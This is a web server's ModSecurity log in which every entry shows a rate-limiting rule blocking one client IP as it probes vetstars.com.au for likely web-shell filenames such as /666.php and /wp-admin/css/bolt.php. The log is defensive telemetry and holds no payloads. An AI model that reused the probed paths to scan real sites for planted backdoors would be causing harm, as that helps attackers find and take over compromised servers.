[Sun Mar 15 03:11:16.292322 2026] [:error] [pid 19671:tid 19982] [client 20.100.185.74:22444] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abWy1Fu8gYYbnWVq3mUzAwAAARE"]
[Sun Mar 15 03:11:21.634179 2026] [:error] [pid 59255:tid 59276] [client 20.100.185.74:47906] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abWy2a3w_Oi6c1avgTseeQAAAI8"]
[Sun Mar 15 03:11:23.132834 2026] [:error] [pid 59255:tid 59275] [client 20.100.185.74:39753] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abWy263w_Oi6c1avgTseegAAAI4"]
[Sun Mar 15 03:11:37.467885 2026] [:error] [pid 59255:tid 59274] [client 20.100.185.74:7260] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "abWy6a3w_Oi6c1avgTsekQAAAI0"]
[Sun Mar 15 03:11:48.644905 2026] [:error] [pid 59255:tid 59282] [client 20.100.185.74:61546] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "abWy9K3w_Oi6c1avgTsepgAAAJU"]
[Sun Mar 15 03:11:55.627778 2026] [:error] [pid 20020:tid 20026] [client 20.100.185.74:47933] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "abWy-0PjaRwagw2fU7gz0gAAAEQ"]
[Sun Mar 15 03:11:59.131630 2026] [:error] [pid 59255:tid 59270] [client 20.100.185.74:27504] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "abWy_63w_Oi6c1avgTsevQAAAIk"]
[Sun Mar 15 03:12:00.917608 2026] [:error] [pid 19671:tid 19979] [client 20.100.185.74:54038] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "abWzAFu8gYYbnWVq3mUzHAAAAQ4"]
[Sun Mar 15 03:12:01.949841 2026] [:error] [pid 59255:tid 59269] [client 20.100.185.74:34706] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/vx.php"] [unique_id "abWzAa3w_Oi6c1avgTsewwAAAIg"]
[Sun Mar 15 03:12:03.897989 2026] [:error] [pid 19671:tid 19983] [client 20.100.185.74:27440] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "abWzA1u8gYYbnWVq3mUzHQAAARI"]
[Sun Mar 15 03:12:05.776772 2026] [:error] [pid 19658:tid 19946] [client 20.100.185.74:25326] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inege.php"] [unique_id "abWzBVIS7ZSIcsV9BQqecgAAAAk"]
[Sun Mar 15 03:13:04.198661 2026] [:error] [pid 20020:tid 20044] [client 20.100.185.74:23211] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "abWzQEPjaRwagw2fU7g0yQAAAFY"]
[Sun Mar 15 03:13:05.233113 2026] [:error] [pid 59255:tid 59270] [client 20.100.185.74:39709] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "abWzQa3w_Oi6c1avgTsfFgAAAIk"]
[Sun Mar 15 03:13:06.502148 2026] [:error] [pid 59255:tid 59262] [client 20.100.185.74:30469] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "abWzQq3w_Oi6c1avgTsfIgAAAIE"]
[Sun Mar 15 03:13:07.809900 2026] [:error] [pid 20020:tid 20028] [client 20.100.185.74:48501] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/init.php"] [unique_id "abWzQ0PjaRwagw2fU7g01wAAAEY"]
[Sun Mar 15 03:13:08.777530 2026] [:error] [pid 19658:tid 19950] [client 20.100.185.74:48499] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "abWzRFIS7ZSIcsV9BQqetAAAAA0"]
[Sun Mar 15 03:13:09.693615 2026] [:error] [pid 59255:tid 59279] [client 20.100.185.74:32419] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "abWzRa3w_Oi6c1avgTsfMwAAAJI"]
[Sun Mar 15 03:13:10.621209 2026] [:error] [pid 19671:tid 19976] [client 20.100.185.74:54097] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "abWzRlu8gYYbnWVq3mUzfgAAAQs"]
[Sun Mar 15 03:13:11.980410 2026] [:error] [pid 19680:tid 20011] [client 20.100.185.74:35952] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gettest.php"] [unique_id "abWzR0nhGahR8LEhCX_DngAAAdM"]
[Sun Mar 15 03:13:14.396133 2026] [:error] [pid 59255:tid 59268] [client 20.100.185.74:7993] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "abWzSq3w_Oi6c1avgTsfQAAAAIc"]
[Sun Mar 15 03:13:15.191566 2026] [:error] [pid 59255:tid 59276] [client 20.100.185.74:35896] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "abWzS63w_Oi6c1avgTsfQQAAAI8"]
[Sun Mar 15 03:13:16.783275 2026] [:error] [pid 19680:tid 20010] [client 20.100.185.74:29201] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "abWzTEnhGahR8LEhCX_DrQAAAdI"]
[Sun Mar 15 03:13:17.583336 2026] [:error] [pid 19680:tid 19998] [client 20.100.185.74:54082] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/myfile.php"] [unique_id "abWzTUnhGahR8LEhCX_DswAAAcY"]
[Sun Mar 15 03:13:18.574967 2026] [:error] [pid 19671:tid 19970] [client 20.100.185.74:32431] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "abWzTlu8gYYbnWVq3mUzjwAAAQU"]
[Sun Mar 15 03:13:19.280739 2026] [:error] [pid 20020:tid 20022] [client 20.100.185.74:7974] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "abWzT0PjaRwagw2fU7g1DwAAAEA"]
[Sun Mar 15 03:13:19.966429 2026] [:error] [pid 19671:tid 19979] [client 20.100.185.74:7996] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "abWzT1u8gYYbnWVq3mUzkQAAAQ4"]
[Sun Mar 15 03:13:20.625150 2026] [:error] [pid 19671:tid 19987] [client 20.100.185.74:7965] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "abWzUFu8gYYbnWVq3mUzkwAAARY"]
[Sun Mar 15 03:13:21.372399 2026] [:error] [pid 19680:tid 20014] [client 20.100.185.74:29291] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "abWzUUnhGahR8LEhCX_DvAAAAdY"]
[Sun Mar 15 03:13:22.253233 2026] [:error] [pid 19680:tid 19998] [client 20.100.185.74:25868] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "abWzUknhGahR8LEhCX_DvQAAAcY"]
[Sun Mar 15 03:13:23.086639 2026] [:error] [pid 59255:tid 59279] [client 20.100.185.74:48508] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "abWzU63w_Oi6c1avgTsfUQAAAJI"]
[Sun Mar 15 03:13:23.838758 2026] [:error] [pid 19680:tid 20013] [client 20.100.185.74:35854] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "abWzU0nhGahR8LEhCX_DvwAAAdU"]
[Sun Mar 15 03:13:24.588762 2026] [:error] [pid 19671:tid 19988] [client 20.100.185.74:7962] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxw.php"] [unique_id "abWzVFu8gYYbnWVq3mUzqgAAARc"]
[Sun Mar 15 03:13:25.597888 2026] [:error] [pid 19680:tid 20012] [client 20.100.185.74:35892] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxw.php"] [unique_id "abWzVUnhGahR8LEhCX_DywAAAdQ"]
[Sun Mar 15 03:13:26.328801 2026] [:error] [pid 20020:tid 20026] [client 20.100.185.74:24478] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxw.php"] [unique_id "abWzVkPjaRwagw2fU7g1FwAAAEQ"]
[Sun Mar 15 03:13:27.120349 2026] [:error] [pid 59255:tid 59272] [client 20.100.185.74:29220] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxw.php"] [unique_id "abWzV63w_Oi6c1avgTsfXAAAAIs"]
[Sun Mar 15 03:13:28.201896 2026] [:error] [pid 20020:tid 20028] [client 20.100.185.74:7939] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "abWzWEPjaRwagw2fU7g1HwAAAEY"]
[Sun Mar 15 03:13:29.224754 2026] [:error] [pid 59255:tid 59280] [client 20.100.185.74:35880] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "abWzWa3w_Oi6c1avgTsfZgAAAJM"]
[Sun Mar 15 03:13:30.310280 2026] [:error] [pid 19671:tid 19970] [client 20.100.185.74:35859] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "abWzWlu8gYYbnWVq3mUztwAAAQU"]
[Sun Mar 15 03:13:32.318929 2026] [:error] [pid 19671:tid 19965] [client 20.100.185.74:37883] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "abWzXFu8gYYbnWVq3mUzuwAAAQA"]
[Sun Mar 15 03:13:33.595686 2026] [:error] [pid 19680:tid 19996] [client 20.100.185.74:37885] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "abWzXUnhGahR8LEhCX_D2AAAAcQ"]
[Sun Mar 15 03:13:36.823984 2026] [:error] [pid 20020:tid 20034] [client 20.100.185.74:24940] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "abWzYEPjaRwagw2fU7g1RAAAAEw"]
[Sun Mar 15 03:13:41.484139 2026] [:error] [pid 20020:tid 20025] [client 20.100.185.74:31055] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "abWzZUPjaRwagw2fU7g1VQAAAEM"]
[Sun Mar 15 03:13:42.864605 2026] [:error] [pid 19680:tid 19999] [client 20.100.185.74:7521] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "abWzZknhGahR8LEhCX_D7AAAAcc"]
[Sun Mar 15 03:13:43.884409 2026] [:error] [pid 20020:tid 20026] [client 20.100.185.74:27775] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "abWzZ0PjaRwagw2fU7g1WwAAAEQ"]
[Sun Mar 15 03:13:45.262684 2026] [:error] [pid 20020:tid 20042] [client 20.100.185.74:39185] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "abWzaUPjaRwagw2fU7g1awAAAFQ"]
[Sun Mar 15 03:13:47.002642 2026] [:error] [pid 59255:tid 59261] [client 20.100.185.74:24951] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "abWza63w_Oi6c1avgTsfhAAAAIA"]
[Sun Mar 15 03:13:48.095979 2026] [:error] [pid 19680:tid 20006] [client 20.100.185.74:39216] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "abWzbEnhGahR8LEhCX_D8gAAAc4"]
[Sun Mar 15 03:13:49.558731 2026] [:error] [pid 19671:tid 19978] [client 20.100.185.74:39204] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "abWzbVu8gYYbnWVq3mUz2QAAAQ0"]
[Sun Mar 15 03:13:50.772567 2026] [:error] [pid 19671:tid 19986] [client 20.100.185.74:40916] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "abWzblu8gYYbnWVq3mUz4AAAARU"]
[Sun Mar 15 03:13:51.566799 2026] [:error] [pid 19658:tid 19944] [client 20.100.185.74:39182] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "abWzb1IS7ZSIcsV9BQqe3AAAAAc"]
[Sun Mar 15 03:13:52.637150 2026] [:error] [pid 19680:tid 20001] [client 20.100.185.74:62008] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "abWzcEnhGahR8LEhCX_D9QAAAck"]
[Sun Mar 15 03:13:53.956437 2026] [:error] [pid 19680:tid 19994] [client 20.100.185.74:7894] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "abWzcUnhGahR8LEhCX_D9wAAAcI"]
[Sun Mar 15 03:13:56.097953 2026] [:error] [pid 19658:tid 19938] [client 20.100.185.74:27736] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "abWzdFIS7ZSIcsV9BQqe5gAAAAE"]
[Sun Mar 15 03:13:57.436372 2026] [:error] [pid 20020:tid 20035] [client 20.100.185.74:34685] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "abWzdUPjaRwagw2fU7g1tQAAAE0"]
[Sun Mar 15 03:13:58.600117 2026] [:error] [pid 19671:tid 19987] [client 20.100.185.74:7827] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "abWzdlu8gYYbnWVq3mUz-QAAARY"]
[Sun Mar 15 03:13:59.784797 2026] [:error] [pid 59255:tid 59274] [client 20.100.185.74:42778] [client 20.100.185.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "abWzd63w_Oi6c1avgTsfogAAAI0"]
